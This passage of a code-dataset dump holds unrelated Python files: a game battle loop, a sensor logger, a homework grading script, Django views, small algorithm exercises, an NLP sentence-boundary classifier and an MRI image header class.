{Fore.LIGHTMAGENTA_EX}{enemy.name}{Fore.WHITE} - \\\n {enemy.hp} hp')\n\n def round(self, targets, players_avatar):\n \"\"\"\n This method manages attacks during round of a battle\n :param targets: list of enemies that player will hit\n :param players_avatar: new temporary player instance that holds \\\n modified power and speed value\n \"\"\"\n list_of_attacks_this_round = []\n\n if type(targets) == Enemy:\n list_of_attacks_this_round.append((targets, players_avatar))\n else:\n for target in targets:\n list_of_attacks_this_round.append((target, players_avatar))\n\n for enemy in self._list_of_enemies:\n list_of_attacks_this_round.append((self.player, enemy))\n\n list_of_attacks_this_round = self.set_priority_of_attacks(\n list_of_attacks_this_round)\n\n for attack in list_of_attacks_this_round:\n if attack[0].check_if_alive() and attack[1].check_if_alive():\n print(f'{Fore.LIGHTGREEN_EX}{attack[1].name}{Fore.WHITE}\\\n attack {Fore.LIGHTRED_EX}{attack[0].name}\\\n{Fore.WHITE} for {attack[1].power} damage')\n attack[0].take_dmg(attack[1].power)\n\n for enemy in self.list_of_enemies:\n if not enemy.check_if_alive():\n self.add_gold(enemy.rewards[1])\n self.add_exp(enemy.rewards[0])\n print(f'{enemy.name} has been defeated')\n self.game_map.current_location.enemies = self.list_of_enemies\n self.list_of_enemies.remove(enemy)\n\n if self.has_battle_ended():\n items = []\n ran = random.randint(0, 101)\n if ran == 1:\n items.append('golden key')\n if 10 < ran < 35:\n items.append('small potion')\n if 55 < ran < 65:\n items.append('big potion')\n self.game_map.end_battle(self.player.check_if_alive(), self.exp,\n self.gold, items)\n else:\n self.list_enemies()\n self._rounds += 1\n\n def has_battle_ended(self):\n \"\"\"\n :return: if battle has already ended or not\n \"\"\"\n return self.player.hp <= 0 or not self.list_of_enemies\n\n @staticmethod\n def set_priority_of_attacks(attacks):\n \"\"\"\n Sorts attacks by higher speed\n :param attacks: list of attacks in current round\n :return: list of attacks sorted by speed\n \"\"\"\n for i in range(len(attacks)-1, 0, -1):\n for j in range(i):\n if attacks[i][1].speed > attacks[j][1].speed:\n attacks[i], attacks[j] = attacks[j], attacks[i]\n return attacks\n","sub_path":"battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"270321083","text":"import erdos\nimport json\nimport os\n\n\nclass IMULoggerOperator(erdos.Operator):\n \"\"\" Subscribes to IMU streams and logs IMU measurements. This will log\n every frame to preserve linearization when approximating jerk in smoothness\n evaluation metrics.\"\"\"\n def __init__(self, imu_stream, name, flags, log_file_name=None):\n imu_stream.add_callback(self.on_imu_update)\n self._name = name\n self._logger = erdos.utils.setup_logging(name, log_file_name)\n self._flags = flags\n self._msg_cnt = 0\n\n @staticmethod\n def connect(imu_stream):\n return []\n\n def on_imu_update(self, msg):\n \"\"\" The callback function that gets called upon receipt of the\n IMU message to be logged.\n\n Args:\n msg: A message of type `pylot.perception.messages.IMUMessage` to\n be logged.\n \"\"\"\n self._logger.debug('@{}: {} received message'.format(\n msg.timestamp, self._name))\n self._msg_cnt += 1\n if self._msg_cnt % self._flags.log_every_nth_message != 0:\n return\n assert len(msg.timestamp.coordinates) == 1\n timestamp = msg.timestamp.coordinates[0]\n file_name = os.path.join(self._flags.data_path,\n 'imu-{}.json'.format(timestamp))\n measurements = {\n \"transform\": str(msg.transform),\n \"acceleration\": str(msg.acceleration),\n \"gyro\": str(msg.gyro),\n \"compass\": str(msg.compass),\n \"timestamp\": str(timestamp)\n }\n with open(file_name, 'w') as outfile:\n json.dump(measurements, outfile)\n","sub_path":"pylot/loggers/imu_logger_operator.py","file_name":"imu_logger_operator.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"365830295","text":"import sys\nimport os\nimport random\n\ndef is_int(x):\n try:\n int(x)\n return True\n except ValueError:\n return False\n\ndata_count = 10000\nunsorted_data_file = \"p1_data.in\" #the file to generate data in.\nreversed_data_file = \"p1_data.out\" # the file where the output of code exists.\nrunning_time_file = \"p1.time\" # the file to write the running time.\ndata = []\n\nprint(\"Generating data...\")\n\nwith open(unsorted_data_file, \"w\") as file:\n delimiter = ''\n for i in range(data_count):\n randint = random.randint(1, 50000)\n data.append(randint)\n line = delimiter + str(randint)\n delimiter = '\\n'\n file.write(line)\n\nprint(\"Compiling source code...\")\nos.system(\"g++ -o output hw2_p1.cpp\")\n#If the compilation raised an exception, try this command instead (comment the previous line and uncomment the next one)\n# os.system(\"g++ -o output reverse.cpp -std=c++11\")\n\nprint(\"Running binary file...\")\nos.system(\"./output \" + str(unsorted_data_file) + \" \" + str(reversed_data_file) + \" \" + str(running_time_file))\n\nprint(\"Validating output...\")\ndata.reverse();\n\nwith open(reversed_data_file, \"r\") as file:\n try:\n i = 0\n for line in file:\n if line == \"\\n\":\n continue\n if not is_int(line):\n raise ValueError(\"Wrong Submission A\")\n if int(line) != data[i]:\n raise ValueError(\"Wrong Submission B\")\n i = i + 1\n if i != data_count:\n raise ValueError(\"Wrong Submission C\")\n print(\"Correct Submission\")\n except ValueError as err:\n print(err.args[0])\n","sub_path":"Assignment 2 - Misc problems/Testing Scripts/p1_test.py","file_name":"p1_test.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"543169482","text":"def front(string, left, right):\n total = 0\n while left < len(string) and right < len(string) and string[left] == string[right]:\n total += 1\n left += 1\n right += 1\n return total\n\n\ndef back(string, left, right):\n total = 0\n while string[left] == string[right] and left >= 0 and right >= 0:\n total += 1\n left -= 1\n right -= 1\n return total\n\n\nn = int(input())\nsLi = list(input())\nnumLi = [int(i) for i in input().split()]\nres = 0\nfor i in range(n-1):\n for j in range(i+1,n):\n res = max(res, front(sLi, i, j) + (numLi[i] ^ numLi[j]))\nprint(res)","sub_path":"Code/CodeRecords/2198/60799/318863.py","file_name":"318863.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"634930347","text":"\n\nconfig = {\n 'max_len_words':200,\n 'max_len_chars':200,\n 'max_len_subwords':20,\n 'train_data_dir':'dataset/data.csv',\n \"min_word_freq\":5,\n 'delimit_mode':1,\n 'word_dict_dir':'models/words_dict.p',\n 'char_dict_dir':'models/chars_dict.p',\n 'emb_dim':32,\n 'batch_size':128,\n 'output_dir':'models/',\n 'model_dir':'models/ckpts/',\n 'epoch':1,\n}","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"233667100","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.CargoListView.as_view(), name=\"cargos\"),\n path('/', views.CargoDetailView.as_view(), name=\"cargos-detail\"),\n path('transportation/', views.TransportationListView.as_view(), name='transportations'),\n path('regions/', views.RegionsView.as_view(), name='regions'),\n]\n","sub_path":"kochapp/transportations/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"198084866","text":"import random\nimport pytest\n\nfrom rps import Roll, ROLLS\n\n\n@pytest.fixture\ndef set_seed():\n random.seed(0)\n\n\ndef test_roll(set_seed):\n roll0 = Roll(ROLLS[0])\n roll_rand1 = Roll()\n roll_rand2 = Roll(\"random\")\n with pytest.raises(Exception) as e:\n roll_invalid = Roll(\"Nosense\")\n\n assert roll0.name == ROLLS[0]\n assert roll_rand1.name == ROLLS[1]\n assert roll_rand2.name == ROLLS[1]\n assert \"Invalid role\" in str(e)\n\n","sub_path":"days/13-15-text-games/test_rps.py","file_name":"test_rps.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"208505930","text":"\n\nfrom xai.brain.wordbase.verbs._muss import _MUSS\n\n#calss header\nclass _MUSSING(_MUSS, ):\n\tdef __init__(self,): \n\t\t_MUSS.__init__(self)\n\t\tself.name = \"MUSSING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"muss\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_mussing.py","file_name":"_mussing.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"390708151","text":"from Tools import addTools\r\n\r\n\r\nclass Main:\r\n name = [\"ToolName1\", \"ToolName2\", \"ToolName3\"]\r\n quantity = [3, 3, 3]\r\n price = [1, 2, 3]\r\n description = [\"Tools description 1\", \"Tool description 2\", \"Tools description 3\"]\r\n objList = []\r\n\r\n for i in range (3):\r\n object = addTools (name[i], quantity[i], price[i], description[i])\r\n objList.append (object)\r\n\r\n for i in range (len (objList)):\r\n print (\"Name:\", objList[i].getName ())\r\n print (\"Quantity:\", str(objList[i].getQuantity ()))\r\n print (\"Price:\", str (objList[i].getPrice ()))\r\n print (\"Description:\", (objList[i].getDescription ()))\r\n print (\"-------------\")\r\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"418411604","text":"import re\r\nimport numpy as np\r\nfrom sklearn import tree\r\nfrom nltk.tokenize import sent_tokenize\r\n\r\n\r\ndef extract_punct(text):\r\n data = []\r\n whitespace = [\" \",\"\\t\",\"\\n\",\"\\r\",\"\\f\",\"\\v\"]\r\n for m in re.finditer(\"[^\\s\\w]\", text):\r\n #print (m.end(),len(text))\r\n if m.start() == 0 or m.end()>=len(text)-10:\r\n continue\r\n else:\r\n curr = m.start()\r\n prev = curr-1\r\n prev_word = text[prev]\r\n k=0\r\n while text[prev] not in whitespace:\r\n k=k+1\r\n prev = prev - 1\r\n prev_word = text[prev]+prev_word\r\n if k!=0:\r\n prev_word = prev_word[1:]\r\n\r\n next = m.end()\r\n if text[next:next+4] == \"\":\r\n terminator = 1 # label 1 if punctuation is sentence terminator otherwise label 0\r\n next = next+4\r\n elif text[next+1:next+5] == \"\":\r\n terminator = 1\r\n next = next+5\r\n else:\r\n terminator = 0\r\n while text[next] in whitespace:\r\n next=next+1\r\n next_word = text[next]\r\n l=0\r\n while text[next] not in whitespace:\r\n l=l+1\r\n next = next+1\r\n next_word = next_word+text[next]\r\n if l!=0:\r\n next_word = next_word[:-1]\r\n data.append([prev_word,m.group(0),next_word,terminator])\r\n #print([prev_word,m.group(0),next_word,terminator])\r\n punct_list = list(set([item[1] for item in data]))\r\n return data,punct_list\r\n\r\n\r\ndef make_feature(data,punct_list):\r\n output = []\r\n feature_vectors = []\r\n prev_capital = []\r\n next_capital = []\r\n prev_word_is_short = [] # to check if prev word length is less than 3(abbreviation)\r\n next_quote = [] # to check if Current is “.”,”?”, or “!” and Next is double left quote (' or “)\r\n curr_quote = [] # Previous is “.”, ”?”, or “!”, Current is (' or ”) and Next is (' or “)\r\n closing_quote = [] # Previous is from [.!?] current is ['or\"] and Next word is capital\r\n\r\n for index, value in enumerate(data):\r\n prev_word = value[0]\r\n curr_word = value[1]\r\n next_word = value[2]\r\n output.append(value[3])\r\n\r\n prev_capital.append(1 if prev_word[0].isupper() else 0)\r\n next_capital.append(1 if next_word[0].isupper() else 0)\r\n prev_word_is_short.append(1 if len(prev_word) < 3 else 0)\r\n next_quote.append(1 if curr_word in [\".\",\"?\",\"!\"] and next_word[0] in [\"\\\"\",\"\\'\"] else 0)\r\n curr_quote.append(1 if prev_word[-1] in [\".\", \"?\", \"!\"] and curr_word[0] in [\"\\\"\", \"\\'\"] and next_word[0]==\"\\\"\" else 0)\r\n closing_quote.append(1 if prev_word[-1] in [\".\", \"?\", \"!\"] and curr_word[0] in [\"\\\"\", \"\\'\"] and next_word[0].isupper() else 0)\r\n\r\n one_hot_word_vector = [0] * len(punct_list)\r\n pos = punct_list.index(curr_word)\r\n one_hot_word_vector[pos] = 1\r\n #print(\"ohwv\", one_hot_word_vector)\r\n feature_vector = one_hot_word_vector\r\n feature_vector.extend([prev_capital[index],next_capital[index],prev_word_is_short[index],next_quote[index],curr_quote[index],closing_quote[index]])\r\n\r\n #print(\"fvec\", feature_vector)\r\n feature_vectors.append(feature_vector)\r\n print(prev_capital)\r\n print(next_capital)\r\n print(prev_word_is_short)\r\n print(next_quote)\r\n print(curr_quote)\r\n print(closing_quote)\r\n return (feature_vectors,output)\r\n\r\n\r\ndef main():\r\n f = open('edited_test.txt', 'r')\r\n text = f.read()\r\n f.close()\r\n\r\n data,punct_list = extract_punct(text)\r\n training_set = data[0:int(0.7*len(data))]\r\n test_set = data[int(0.7*len(data)):]\r\n training_vectors, training_output = make_feature(training_set,punct_list)\r\n #print(training_vectors)\r\n test_vectors, test_output = make_feature(test_set,punct_list)\r\n #print(test_vectors)\r\n\r\n classifier = tree.DecisionTreeClassifier()\r\n print('Training our decision tree...')\r\n classifier.fit(training_vectors, training_output) # 1 = EOS, 0 = NEOS\r\n print('Training complete!')\r\n\r\n total_seen = 0\r\n total_correct = 0\r\n\r\n for i, test_example in enumerate(test_vectors):\r\n #print(test_example)\r\n correct = test_output[i]\r\n #print(test_example, correct)\r\n #print(np.array(test_example).reshape(1, -1))\r\n pred = classifier.predict(np.array(test_example).reshape(1,-1))\r\n\r\n print(i,test_set[i], 'Predicted:', pred[0], 'Actual:', correct)\r\n\r\n if str(pred[0]) == str(correct):\r\n total_correct += 1\r\n total_seen += 1\r\n else:\r\n total_seen += 1\r\n\r\n accuracy = (total_correct/total_seen)*100\r\n #print('Accuracy: ', ((total_correct/total_seen)*100))\r\n print(\"Total seen:\", total_seen)\r\n print(\"Total correct:\", total_correct)\r\n print('System Accuracy:', accuracy)\r\n\r\nmain()","sub_path":"ass1b.py","file_name":"ass1b.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"20387009","text":"class Solution(object):\r\n def combinationSum(self, candidates, target):\r\n \"\"\"\r\n :type candidates: List[int]\r\n :type target: int\r\n :rtype: List[List[int]]\r\n \"\"\"\r\n if len(candidates) == 0:\r\n return []\r\n res = []\r\n candidates = sorted(candidates)\r\n self._dfs(candidates, 0, target, [], res)\r\n return res\r\n\r\n\r\n def _dfs(self, candidates, start, last, pre, res):\r\n if last < 0:\r\n return\r\n if last == 0: # last是剩余\r\n res.append(pre[:])\r\n length = len(candidates)\r\n for i in range(start, length):\r\n # 剪枝\r\n if i < last-candidates[i] < 0:\r\n break\r\n pre.append(candidates[i])\r\n # 可以重复使用，所以下一个也从i开始\r\n self._dfs(candidates, i, last-candidates[i], pre, res)\r\n pre.pop() # 回溯\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n obj = Solution()\r\n while True:\r\n nums_str = input().strip().split()\r\n nums = list(map(int, nums_str))\r\n target = int(input().strip())\r\n res = obj.combinationSum(nums, target)\r\n print(res)","sub_path":"06-回溯/5-组合问题的优化/02-039.py","file_name":"02-039.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"416870225","text":"from django.shortcuts import render\nfrom .models import Category, Item\n\ndef categories(request):\n categories = Category.objects.all()\n return render(request, 'categories.html', {'categories': categories})\n\ndef items(request, cid):\n category = Category.objects.get(id=cid)\n items = category.item_set.all()\n isMore = Category.objects.count() > 1\n return render(request, 'items.html', {\n 'items': items,\n 'title': category.name,\n 'isMore': isMore,\n })\n","sub_path":"items/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"286076567","text":"from torch.utils.data import Dataset\n\nfrom utils.load_data import load_semeval2017A\nimport utils.nlp as nlpu\n\n\nclass SentenceDataset(Dataset):\n def __init__(self, csv_file, word2idx, max_length=-1):\n \"\"\"\n A PyTorch Dataset\n What we have to do is to implement the 2 abstract methods:\n\n - __len__(self): in order to let the DataLoader know the size\n of our dataset and to perform batching, shuffling and so on...\n - __getitem__(self, index): we have to return the properly\n processed data-item from our dataset with a given index\n \"\"\"\n self.loaded_data = load_semeval2017A(csv_file)\n self.word2idx = word2idx\n self.max_length = max_length if max_length > 0 else self.__max_sentence_len()\n\n def __max_sentence_len(self):\n max_len = 0\n for _, s in self.loaded_data:\n slen = len(s)\n if slen > max_len:\n max_len = slen\n return max_len\n\n def __len__(self):\n \"\"\"\n Must return the length of the dataset, so the dataloader can know\n how to split it into batches\n\n Returns:\n (int): the length of the dataset\n \"\"\"\n return len(self.loaded_data)\n\n def __getitem__(self, index):\n \"\"\"\n Returns the _transformed_ item from the dataset\n\n Args:\n index (int):\n\n Returns:\n (tuple):\n * example (ndarray): vector representation of a training example\n * label (int): the class label\n * length (int): the length (tokens) of the sentence\n\n Examples:\n For an `index` where:\n ::\n self.data[index] = ['this', 'is', 'really', 'simple']\n self.target[index] = \"neutral\"\n\n the function will have to return return:\n ::\n example = [ 533 3908 1387 649 0 0 0 0\n 0 0 0 0 0 0 0 0\n 0 0 0 0 0 0 0 0]\n label = 1\n \"\"\"\n label, sentence = self.loaded_data[index]\n tokenized = nlpu.tokenize(sentence)\n vectorized = nlpu.vectorize(tokenized, self.word2idx, self.max_length)\n return vectorized, label, len(sentence)\n\n","sub_path":"modules/dataloaders.py","file_name":"dataloaders.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"68657799","text":"\n\nc1 = {\n \"topl\": (1, 4),\n \"dims\": (3, 3) # width, height\n}\n\nc2 = {\n \"topl\": (0, 5),\n \"dims\": (4, 3) # width, height\n}\n\n\ndef overlap_y(p1,p2,d=1):\n ''' Define the 4 points in 1D '''\n p11 = p1['topl'][d] \n p21 = p2['topl'][d] \n p12 = p11 - p1['dims'][d]\n p22 = p21 - p2['dims'][d]\n A,B = max(p11,p21), min(p11,p21)\n C,D = max(p12,p22), min(p12,p22)\n return (A-D)-(C-D)-(A-B)\n\ndef overlap_x(p1,p2,d=0):\n ''' Define the 4 points in 1D '''\n p11 = p1['topl'][d] + p1['dims'][d]\n p21 = p2['topl'][d] + p2['dims'][d]\n p12 = p1['topl'][d]\n p22 = p2['topl'][d]\n A,B = max(p11,p21), min(p11,p21)\n C,D = max(p12,p22), min(p12,p22)\n return (A-D)-(C-D)-(A-B)\n\noverlap_x(c1,c2,0)\noverlap_y(c1,c2,1)\n\ndef overlapping_area(c1,c2):\n return overlap_x(c1,c2,0) * overlap_y(c1,c2,1)\n\noverlapping_area(c1,c2)\n\n\nx = 18\ny = 19\nn = x+y\np = x/n\ns = p*(1-p)\nprint(p)\nprint(s)\n\n\n## SOLUTION O(1) Space and Time\n''' Hint: think in borders instead of points \nRight most-left, Left most-right, Top most-bottom, Bottom most-top.\n'''\n\ndef rectangles(rec1, rec2):\n left_x = max(rec1[\"top_left\"][0], rec2[\"top_left\"][0])\n right_x = min(rec1[\"top_left\"][0] + rec1[\"dimensions\"][0], rec2[\"top_left\"][0] + rec2[\"dimensions\"][0])\n\n top_y = min(rec1[\"top_left\"][1], rec2[\"top_left\"][1])\n bottom_y = max(rec1[\"top_left\"][1] - rec1[\"dimensions\"][1], rec2[\"top_left\"][1] - rec2[\"dimensions\"][1])\n\n if left_x > right_x or bottom_y > top_y:\n return 0\n\n return (right_x - left_x) * (top_y - bottom_y)\n\n\n\n","sub_path":"DailyCodingProblem/185_area_overlapping_rectangles.py","file_name":"185_area_overlapping_rectangles.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"76493037","text":"import ctypes\nimport numpy as np\nimport copy\n\nfrom .constants import *\n\n# Image data type lookup function\ndef get_image_dtype(val):\n if val == DATATYPE_USHORT:\n return np.uint16\n elif val == DATATYPE_SHORT:\n return np.int16\n elif val == DATATYPE_UINT:\n return np.uint32\n elif val == DATATYPE_INT:\n return np.int\n elif val == DATATYPE_FLOAT:\n return np.float32\n elif val == DATATYPE_DOUBLE:\n return np.float64\n elif val == DATATYPE_CXFLOAT:\n return np.complex64\n elif val == DATATYPE_CXDOUBLE:\n return np.complex128\n else:\n raise TypeError(\"Unknown image data type.\")\n \n\n# Image Header\nclass ImageHeader(ctypes.Structure):\n _pack_ = 2\n _fields_ = [(\"version\", ctypes.c_uint16),\n (\"data_type\", ctypes.c_uint16),\n (\"flags\", ctypes.c_uint64),\n (\"measurement_uid\", ctypes.c_uint32),\n (\"matrix_size\", ctypes.c_uint16 * POSITION_LENGTH),\n (\"field_of_view\", ctypes.c_float * POSITION_LENGTH),\n (\"channels\", ctypes.c_uint16),\n (\"position\", ctypes.c_float * POSITION_LENGTH),\n (\"read_dir\", ctypes.c_float * DIRECTION_LENGTH),\n (\"phase_dir\", ctypes.c_float * DIRECTION_LENGTH),\n (\"slice_dir\", ctypes.c_float * DIRECTION_LENGTH),\n (\"patient_table_position\", ctypes.c_float * POSITION_LENGTH),\n (\"average\", ctypes.c_uint16),\n (\"slice\", ctypes.c_uint16),\n (\"contrast\", ctypes.c_uint16),\n (\"phase\", ctypes.c_uint16),\n (\"repetition\", ctypes.c_uint16),\n (\"set\", ctypes.c_uint16),\n (\"acquisition_time_stamp\", ctypes.c_uint32),\n (\"physiology_time_stamp\", ctypes.c_uint32 * PHYS_STAMPS), \n (\"image_type\", ctypes.c_uint16),\n (\"image_index\", ctypes.c_uint16),\n (\"image_series_index\", ctypes.c_uint16),\n (\"user_int\", ctypes.c_int32 * USER_INTS),\n (\"user_float\", ctypes.c_float * USER_FLOATS),\n (\"attribute_string_len\", ctypes.c_uint32),]\n\n def clearAllFlags(self):\n self.flags = ctypes.c_uint64(0)\n \n def isFlagSet(self,val):\n return ((self.flags & (ctypes.c_uint64(1).value << (val-1))) > 0)\n\n def setFlag(self,val):\n self.flags |= (ctypes.c_uint64(1).value << (val-1))\n\n def clearFlag(self,val):\n if self.isFlagSet(val):\n bitmask = (ctypes.c_uint64(1).value << (val-1))\n self.flags -= bitmask\n\n def __str__(self):\n retstr = ''\n for field_name, field_type in self._fields_:\n var = getattr(self,field_name)\n if hasattr(var, '_length_'):\n retstr += '%s: %s\\n' % (field_name, ', '.join((str(v) for v in var)))\n else:\n retstr += '%s: %s\\n' % (field_name, var)\n return retstr\n\n\n# Image class\nclass Image(object):\n __readonly = ('data_type', 'matrix_size', 'channels', 'attribute_string_len')\n __ignore = ('matrix_size')\n \n def __init__(self, head = None, attribute_string = \"\"):\n if head is None:\n self.__head = ImageHeader()\n self.__head.data_type = DATATYPE_CXFLOAT\n self.__data = np.empty(shape=(1, 1, 1, 0), dtype=get_image_dtype(DATATYPE_CXFLOAT))\n else:\n self.__head = ImageHeader.from_buffer_copy(head)\n self.__data = np.empty(shape=(self.__head.channels, self.__head.matrix_size[2],\n self.__head.matrix_size[1], self.__head.matrix_size[0]),\n dtype=get_image_dtype(self.__head.data_type))\n\n #TODO do we need to check if attribute_string is really a string?\n self.__attribute_string = attribute_string\n if (len(self.__attribute_string) != self.__head.attribute_string_len):\n raise ValueError(\"attribute_string and head.attribute_string_len are inconsistent.\")\n \n\n for (field, type) in self.__head._fields_:\n if field in self.__ignore:\n continue\n else:\n try:\n g = '__get_' + field\n s = '__set_' + field\n setattr(Image, g, self.__getter(field))\n setattr(Image, s, self.__setter(field))\n p = property(getattr(Image, g), getattr(Image, s))\n setattr(Image, field, p)\n except TypeError:\n # e.g. if key is an `int`, skip it\n pass\n \n def __getter(self, name):\n if name in self.__readonly:\n def fn(self):\n return copy.copy(self.__head.__getattribute__(name))\n else:\n def fn(self):\n return self.__head.__getattribute__(name)\n return fn\n\n def __setter(self, name):\n if name in self.__readonly:\n def fn(self,val):\n raise AttributeError(name+\" is read-only.\")\n else:\n def fn(self, val):\n self.__head.__setattr__(name, val)\n\n return fn\n\n def getHead(self):\n return copy.deepcopy(self.__head)\n\n def setHead(self, hdr):\n self.__head = self.__head.__class__.from_buffer_copy(hdr)\n self.setDataType(self.__head.data_type)\n self.resize(self.__head.channels, self.__head.matrix_size[2], self.__head.matrix_size[1], self.__head.matrix_size[0])\n\n def setDataType(self, val):\n self.__data = self.__data.astype(get_image_dtype(val))\n \n def resize(self, nc, nz, ny, nx):\n self.__data = np.resize(self.__data, (nc, nz, ny, nx))\n\n @property\n def data(self):\n return self.__data.view()\n\n @property\n def attribute_string(self):\n return self.__attribute_string\n \n @attribute_string.setter\n def attribute_string(self,val):\n self.__attribute_string = str(val)\n self.__head.attribute_string_len = len(self.__attribute_string)\n \n @property\n def matrix_size(self):\n return self.__data.shape[1:4]\n\n def __str__(self):\n retstr = ''\n retstr += 'Header:\\n %s\\n' % (self.__head)\n retstr += 'Attribute string:\\n %s\\n' % (self.attribute_string)\n retstr += 'Data:\\n %s\\n' % (self.data)\n return retstr\n \n","sub_path":"ismrmrd/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":6454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"330943691","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.http import HttpResponse, HttpResponseNotFound\nfrom django.shortcuts import render\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\nfrom photos.forms import PhotoForm\nfrom photos.models import Photo, PUBLIC\n\n\ndef home(request):\n \"\"\"\n This function show all photos on the main page.\n \"\"\"\n photos = Photo.objects.filter(visibility=PUBLIC).order_by('-created_at')\n context = {\n 'photo_list': photos[:6]\n }\n\n return render(request, 'photos/home.html', context)\n\n\ndef detail(request, pk):\n \"\"\"\n Load detail photo page\n :param request: HttpRequest\n :param pk: int Id of the photo.\n :return: HttpResponse\n \"\"\"\n #try:\n # photo = Photo.objects.filter(pk=pk)\n #except Photo.DoesNotExist:\n # photo = None\n #except Photo.MultipleObjects:\n # photo = None\n # Another way to do it\n\n photo = Photo.objects.filter(pk=pk)\n photo = photo[0] if len(photo) == 1 else None\n\n if photo is not None:\n # Load photo detail view\n context = {\n 'photo': photo\n }\n\n return render(request, 'photos/detail.html', context)\n else:\n return HttpResponseNotFound()\n\n pass\n\n\n@login_required()\ndef create(request):\n \"\"\"\n Show a form for create a new photo post.\n :param request: HttpRequest Object\n :return: HttpResponse Object\n \"\"\"\n\n success_message = ''\n\n if request.method == 'GET': #GET REQUEST\n form = PhotoForm()\n else: #POST REQUEST\n photo_with_owner = Photo()\n photo_with_owner.owner = request.user #Automatic asign user autenticated as owner\n\n form = PhotoForm(request.POST,instance=photo_with_owner)\n if form.is_valid():\n new_photo = form.save() #Save the object photo and return it\n form = PhotoForm() #Empty form after submitting\n success_message = 'Photo created succesfully'\n success_message += ''.format(reverse('photo_detail',args=[new_photo.pk]))\n success_message += 'Take a look'\n success_message += ''\n context = dict(form=form,success_message=success_message)\n\n return render(request,'photos/new_photo.html',context)\n\n","sub_path":"photos/views_deprecated.py","file_name":"views_deprecated.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"277320335","text":"\"\"\"Задание 1. Написать функцию, принимающую один аргумент. Функция должна вывести на экран (c помощью print) тип\r\nданных этого аргумента (type)\"\"\"\r\n\r\n\r\ndef foo(argument_for_type_identification):\r\n return print(type(argument_for_type_identification))\r\n\r\n\r\nfoo(123)\r\n\r\n\"\"\"Задание 2. Написать функцию, принимающую два аргумента. Функция должна\r\n- если оба аргумента относятся к числовым типам (int, float) - вернуть их произведение\r\n- если к строкам - соединить в одну строку и вернуть\r\n- если первый строка, а второй нет - вернуть словарь (dict), в котором ключ - первый аргумент, значение - второй\r\nв любом другом случае вернуть кортеж (tuple) из аргументов\"\"\"\r\n\r\n\r\ndef foo(arg1, arg2):\r\n if type(arg1) is str and type(arg2) is str:\r\n res = arg1 + arg2\r\n elif type(arg1) is str and type(arg2) is not str:\r\n res = {arg1: arg2}\r\n elif type(arg1) in (int, float) and type(arg2) in (int, float):\r\n res = arg1 * arg2\r\n else:\r\n res = (arg1, arg2)\r\n return print(res)\r\n\r\n\r\nfoo(12, '1.42')\r\n\r\n\"\"\"Задание 3. Дан словарь продавцов и цен на какой то товар у разных продавцов: { ‘citrus’: 47.999, ‘istudio’ 42.999,\r\n‘moyo’: 49.999, ‘royal-service’: 37.245, ‘buy.ua’: 38.324, ‘g-store’: 37.166, ‘ipartner’: 38.988, ‘sota’: 37.720 }.\r\nНаписать функцию возвращающую список имен продавцов, чьи цены попадают в определенный диапазон. Функция должна\r\nпринимать словарь, начало и конец диапазона и возвращать список имен.\"\"\"\r\n\r\nsellers_dict = {\r\n 'citrus': 47.999,\r\n 'istudio': 42.999,\r\n 'moyo': 49.999,\r\n 'royal-service': 37.245,\r\n 'buy.ua': 38.324,\r\n 'g-store': 37.166,\r\n 'ipartner': 38.988,\r\n 'sota': 37.720\r\n}\r\n\r\n\r\ndef foo(price_list, min_price, max_price):\r\n lst = []\r\n for sellers_name in price_list.keys():\r\n if min_price <= price_list[sellers_name] <= max_price:\r\n lst.append(sellers_name)\r\n return lst\r\n\r\n\r\nprint(foo(sellers_dict, 37.245, 40.999))\r\n\r\n\"\"\"Задание 4.* Пользователь вводит строку произвольной длины. Написать функцию, которая должна вернуть словарь\r\nследующего содержания: ключ - количество букв в слове, значение - список слов с таким количеством букв. Отдельным\r\nключем, например \"0\", записать количество пробелов. Отдельным ключем, например \"punctuation\", записать 